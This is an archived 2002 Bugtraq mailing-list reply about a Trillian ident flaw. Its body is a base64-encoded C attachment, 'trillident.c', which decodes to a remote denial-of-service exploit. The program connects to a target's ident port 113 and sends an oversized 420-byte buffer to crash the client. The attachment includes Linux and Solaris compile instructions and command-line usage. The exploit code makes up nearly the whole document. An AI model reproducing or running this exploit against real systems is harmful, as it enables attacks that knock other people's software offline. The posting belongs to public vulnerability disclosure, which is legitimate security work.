[27136] in bugtraq
Re: Trillian .74 and below, ident flaw.
daemon@ATHENA.MIT.EDU (netmask {enZo})
Fri Sep 20 12:49:12 2002
Date: Thu, 19 Sep 2002 16:13:13 -0500 (CDT)
From: netmask {enZo} <netmask@enZ-o.org>
To: Lance Fitz-Herbert <fitzies@hotmail.com>
In-Reply-To: <F145RdUVZc5KQmzeyRv0000c180@hotmail.com>
Message-ID: <Pine.GSO.4.44.0209191605320.1175-200000@noella.mindsec.com>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-1032469780=:1286"
Content-ID: <Pine.GSO.4.44.0209191610020.1286@noella.mindsec.com>
---559023410-851401618-1032469780=:1286
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.GSO.4.44.0209191610021.1286@noella.mindsec.com>
> Lance Fitz-Herbert (fitzies@hotmail.com) composed on Sep 18, 2002:
Hello Lance, out of bordem I wrote one that compiles on un*x
trillident.c is attached
netmask @ enZo
---559023410-851401618-1032469780=:1286
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="trillident.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.4.44.0209191609400.1286@noella.mindsec.com>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="trillident.c"
DQovKiBUcmlsbGlhbiAuNzQsIC43MyByZW1vdGUgRG9TLi4gIFRyaWxsaWFu
IFBybyAxLjAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIA0KICogICAgRXhwbG9pdHMgYnVmZmVyIG92
ZXJmbG93IGluIGlkZW50IHdoZW4gc2VuZGluZyBvdmVyDQogKiAgICA0MTgg
Ynl0ZXMuIA0KICoNCiAqICAgIFJlYWxseSBvbmx5IHdvcmtzIGlmIHBlb3Bs
ZSBhcmUgb24gSVJDIChvdGhlcndpc2UsIHRoZSBpZGVudA0KICogICAgZGFl
bW9uIHNodXRzIGRvd24uLiAgQW5kIHlvdSd2ZSBnb3QgdG8ga25vdyB0aGV5
IGFyZSBydW5uaW5nDQogKiAgICBUcmlsbGlhbiwgb2J2aW91c2x5Lg0KICoN
CiAqICAgIGJ1ZyBkaXNjb3ZlcmVkIGJ5IExhbmNlIEZpdHotSGVyYmVydCAo
YWthIHBocml6ZXIpIG9uIDAzIFNlcHRlbWJlciAyMDAyDQogKg0KICoNCiAq
IENvbXBpbGUgV2l0aDoNCiAqIExpbnV4OiBnY2MgLW8gdHJpbGxpZGVudCB0
cmlsbGlkZW50LmMNCiAqIFNvbGFyaXM6IGdjYyAtbyB0cmlsbGlkZW50IHRy
aWxsaWRlbnQuYyAtbHNvY2tldCAtbG5zbA0KICogV2luZG93czogVXNlIHNv
bWVvbmUgZWxzZXMgY29kZS4NCg0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgWlpaWlpaWlpaWlpaWlpaWlpaWg0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgWjo6Ojo6Ojo6Ojo6Ojo6Ojo6Wg0K
ICAgICAgICAgICAgICAgICAgbm5ubiAgbm5ubm5ubm4gICAgWjo6Ojo6Ojo6
Ojo6Ojo6Ojo6WiAgIG9vb29vb29vb29vDQogICAgICAgICAgICAgICAgICBu
Ojo6bm46Ojo6Ojo6Om5uICBaOjo6WlpaWlpaWjo6Ojo6OlogIG9vOjo6Ojo6
Ojo6Ojpvbw0KICAgICBlZWVlZWVlZWVlZSAgbjo6Ojo6Ojo6Ojo6Ojo6bm4g
WlpaWlogICogWjo6Ojo6OlogIG86Ojo6Ojo6Ojo6Ojo6OjpvDQogICBlZTo6
Ojo6Ojo6Ojo6ZWVubjo6Ojo6Ojo6Ojo6Ojo6Om4gICAgICAyIFo6Ojo6Olog
ICAgbzo6Ojo6b29vbzo6Ojo6Om8NCiAgZTo6Ojo6Ojo6Ojo6Ojo6OmVlbjo6
Ojo6bm5ubjo6Ojo6biAgICAgMCBaOjo6OjpaICAgICBvOjo6Om8gIG86Om86
Ojo6bw0KIGU6Ojo6OjplZWVlZTo6Ojo6OmVuOjo6Om4gICAgbjo6OjpuICAg
IDAgWjo6Ojo6WiAgICAgIG86Ojo6byBvOjpvbzo6OjpvDQogZTo6Ojo6ZSAg
ICAgZTo6Ojo6ZW46Ojo6biAgICBuOjo6Om4gICAyIFo6Ojo6OlogICAgICAg
bzo6Ojpvbzo6byBvOjo6Om8NCiBlOjo6Ojo6ZWVlZWU6Ojo6Ojplbjo6Ojpu
ICAgIG46Ojo6biAgKiBaOjo6OjpaICAgICAgICBvOjo6Om86Om8gIG86Ojo6
bw0KIGU6Ojo6Ojo6Ojo6Ojo6Ojo6ZSBuOjo6Om4gICAgbjo6OjpuICAgWjo6
Ojo6WiAgICAgICAgIG86Ojo6Ojpvb29vOjo6OjpvDQogZTo6Ojo6ZWVlZWVl
ZWVlZWUgIG46Ojo6biAgICBuOjo6Om5aWlo6Ojo6OlogICAgIFpaWlpabzo6
Ojo6Ojo6Ojo6Ojo6Om8NCiBlOjo6Ojo6ZSAgICAgICAgICAgbjo6OjpuICAg
IG46Ojo6blo6Ojo6OjpaWlpaWlpaWjo6Ologb286Ojo6Ojo6Ojo6Om9vDQog
ZTo6Ojo6OjplICAgICAgICAgIG5ubm5ubiAgICBubm5ubm5aOjo6Ojo6Ojo6
Ojo6Ojo6OjpaICAgb29vb29vb29vb28NCiAgZTo6Ojo6OjplZWVlZWVlZWVl
ICAgICAgICAgICAgICAgIFo6Ojo6Ojo6Ojo6Ojo6Ojo6OloNCiAgIGVlOjo6
Ojo6Ojo6Ojo6OjplICAgICAgICAgICAgICAgIFpaWlpaWlpaWlpaWlpaWlpa
WloNCiAgICBlZTo6Ojo6Ojo6Ojo6OjplICAgICAgICAgICAgIFwuLi4gd3d3
LmVuei1vLm9yZyAuLi4vDQogICAgIGVlZWVlZWVlZWVlZWVlDQoNCihUaGUg
YWJvdmUgaXMgcmFkaWNhbCBhc2NpaSBhcnQuLiBSZXNwZWN0IGl0LiBUaGUg
YmVsb3cgaXMgYSBsYW1lIERvUy4gKQ0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgDQoqLw0KDQojaW5jbHVkZSA8c3RkaW8u
aD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxjdHlwZS5oPg0K
I2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0K
I2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvdGltZS5o
Pg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8bmV0aW5ldC9pbi5o
Pg0KI2luY2x1ZGUgPGFycGEvaW5ldC5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5o
Pg0KI2RlZmluZSBFUlIgLTENCg0KDQoNCnZvaWQgdXNhZ2UoY2hhciogYXJn
djApOw0KaW50IGRvc3RyaWxsKGNoYXIgKmlwLCBpbnQgcG9ydCk7DQoNCmlu
dCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQoNCmV4dGVybiBp
bnQgb3B0b3B0Ow0KZXh0ZXJuIGNoYXIgKm9wdGFyZzsNCmludCBlcnJvcmZs
YWcgPSAwOyAvKiBkaWQgc29tZW9uZSBzY3JldyB1cD8gKi8NCmludCBwb3J0
ID0gMTEzOwkvKiBkZWZhdWx0IHBvcnQgdG8gdXNlIHVubGVzcyAtcCAqLw0K
aW50IGM7DQoNCmlmICgoYXJnYyA8IDIpIHx8IChhcmdjID4gNikpDQoJdXNh
Z2UoYXJndlswXSk7DQoNCndoaWxlICgoYz1nZXRvcHQoYXJnYywgYXJndiwg
InZwOiIpKSAhPSBFT0YpIHsNCglzd2l0Y2goYykgew0KCQljYXNlICdwJzoN
CgkJCWZwcmludGYoc3RkZXJyLCAiVXNpbmcgcG9ydCAlc1xuIiwgb3B0YXJn
KTsNCgkJCXBvcnQgPSBzdHJ0b2wob3B0YXJnLCBOVUxMLCAxMCk7DQoJCQli
cmVhazsNCgkJY2FzZSAndic6DQoJCQlmcHJpbnRmKHN0ZGVyciwgIlRyaWxs
aWFuIElkZW50IERvUyAtIFtTZXAgMTksIDIwMDJdXG4iKTsNCgkJCWZwcmlu
dGYoc3RkZXJyLCAid3JpdHRlbiBieTogbmV0bWFza0BlblpvXG5cbiIpOw0K
CQkJZXhpdCgwKTsNCgkJY2FzZSAnOic6DQoJCQlmcHJpbnRmKHN0ZGVyciwg
Ik9wdGlvbiAtJWMgcmVxdWlyZXMgYW4gb3BlcmFuZFxuIiwgb3B0b3B0KTsN
CgkJCWVycm9yZmxhZysrOw0KCQkJYnJlYWs7DQoJCWNhc2UgJz8nOg0KCQkJ
ZnByaW50ZihzdGRlcnIsICJVbnJlY29nbml6ZWQgb3B0aW9uOiAtJWNcbiIs
IG9wdG9wdCk7DQoJCQllcnJvcmZsYWcrKzsNCg0KCX0NCn0NCg0KaWYgKGVy
cm9yZmxhZykgew0KCQl1c2FnZShhcmd2WzBdKTsNCn0NCg0KLyoga2lsbCB0
aGVtICovDQoNCmRvc3RyaWxsKGFyZ3ZbYXJnYy0xXSwgcG9ydCk7DQpmcHJp
bnRmKHN0ZGVyciwgIkZpbmlzaGVkIVxuIik7DQpyZXR1cm4gMDsNCn0gLyog
ZW5kIG1haW4gKi8NCg0Kdm9pZCB1c2FnZShjaGFyKiBhcmd2MCkNCnsNCglm
cHJpbnRmKHN0ZGVyciwgIlRyaWxsaWFuIElkZW50IERvUyAtIFtTZXAgMTks
IDIwMDJdXG4iKTsNCglmcHJpbnRmKHN0ZGVyciwgIldyaXR0ZW4gYnk6IG5l
dG1hc2tAZW5ab1xuXG4iKTsNCglmcHJpbnRmKHN0ZGVyciwgIlVzYWdlOiAl
cyBbb3B0aW9uc10gSVBcblxuIiwgYXJndjApOw0KCWZwcmludGYoc3RkZXJy
LA0KCQkJIi1wIFx0UG9ydCB0byB1c2VcbiINCgkJCSItdiBcdFByaW50IHRo
ZSBwcm9ncmFtIGluZm9cbiIpOw0KCWV4aXQoMSk7DQp9DQoNCmludCBkb3N0
cmlsbChjaGFyICppcCwgaW50IHBvcnQpDQp7DQoJaW50IHMsIHI7DQoJY2hh
ciBidWZbNDIwXTsgLyogYnVmZmVyIHRvIHNlbmQgKi8NCgkNCglzdHJ1Y3Qg
c29ja2FkZHJfaW4gYWRkcjsNCglzdHJ1Y3QgaG9zdGVudCAqaHA7DQoJbWVt
c2V0KChjaGFyICopICZhZGRyLCAnXDAnLCBzaXplb2YoYWRkcikpOw0KCWFk
ZHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQoJYWRkci5zaW5fYWRkci5zX2Fk
ZHIgPSBpbmV0X2FkZHIoaXApOw0KCWFkZHIuc2luX3BvcnQgPSBodG9ucyhw
b3J0KTsNCgltZW1zZXQoYnVmLCAnQScsIDQyMCk7DQoNCg0KCWlmICgoaHAg
PSBnZXRob3N0YnluYW1lKGlwKSkgIT0gTlVMTCkgew0KCQkJaWYgKGhwLT5o
X2xlbmd0aCA+IHNpemVvZihhZGRyLnNpbl9hZGRyKSkgew0KCQkJCWhwLT5o
X2xlbmd0aCA9IHNpemVvZihhZGRyLnNpbl9hZGRyKTsgfQ0KCQltZW1jcHko
KGNoYXIgKikgJmFkZHIuc2luX2FkZHIsIGhwLT5oX2FkZHIsIGhwLT5oX2xl
bmd0aCk7DQoJfQ0KCWVsc2Ugew0KCQlpZiAoKGFkZHIuc2luX2FkZHIuc19h
ZGRyID0gaW5ldF9hZGRyKGlwKSkgPCAwKSB7DQoJCQlyZXR1cm4oMCk7DQoJ
CQkgfQ0KCX0NCg0KDQoNCglzID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RS
RUFNLCBJUFBST1RPX1RDUCk7DQoNCglpZiAocyA9PSBFUlIpIHsNCgkJCWZw
cmludGYoc3RkZXJyLCAiQ291bGRuJ3QgQ3JlYXRlIFNvY2tldFxuIik7DQoJ
CQlyZXR1cm4gMTsNCgl9DQoJDQoJDQoJciA9IGNvbm5lY3QocywgKHN0cnVj
dCBzb2NrYWRkciAqKSAmYWRkciwgc2l6ZW9mKGFkZHIpKTsNCg0KCWlmIChy
ID09IEVSUikgew0KCQkJZnByaW50ZihzdGRlcnIsICJDb3VsZG4ndCBFc3Rh
Ymxpc2ggQ29ubmVjdGlvblxuIik7DQoJCQlyZXR1cm4gMTsNCgl9DQoNCglm
cHJpbnRmKHN0ZGVyciwgIkNvbm5lY3RlZCB0byAlcyBhbmQgc2VuZGluZyBi
dWZmZXJcblxuIiwgaXApOw0KCXdyaXRlKHMsIGJ1Ziwgc3RybGVuKGJ1Zikp
OyAvKiBzZW5kIGJ1ZmZlciAqLw0KDQoJY2xvc2Uocyk7DQoJcmV0dXJuIDA7
DQoJDQoNCn0NCg==
---559023410-851401618-1032469780=:1286--
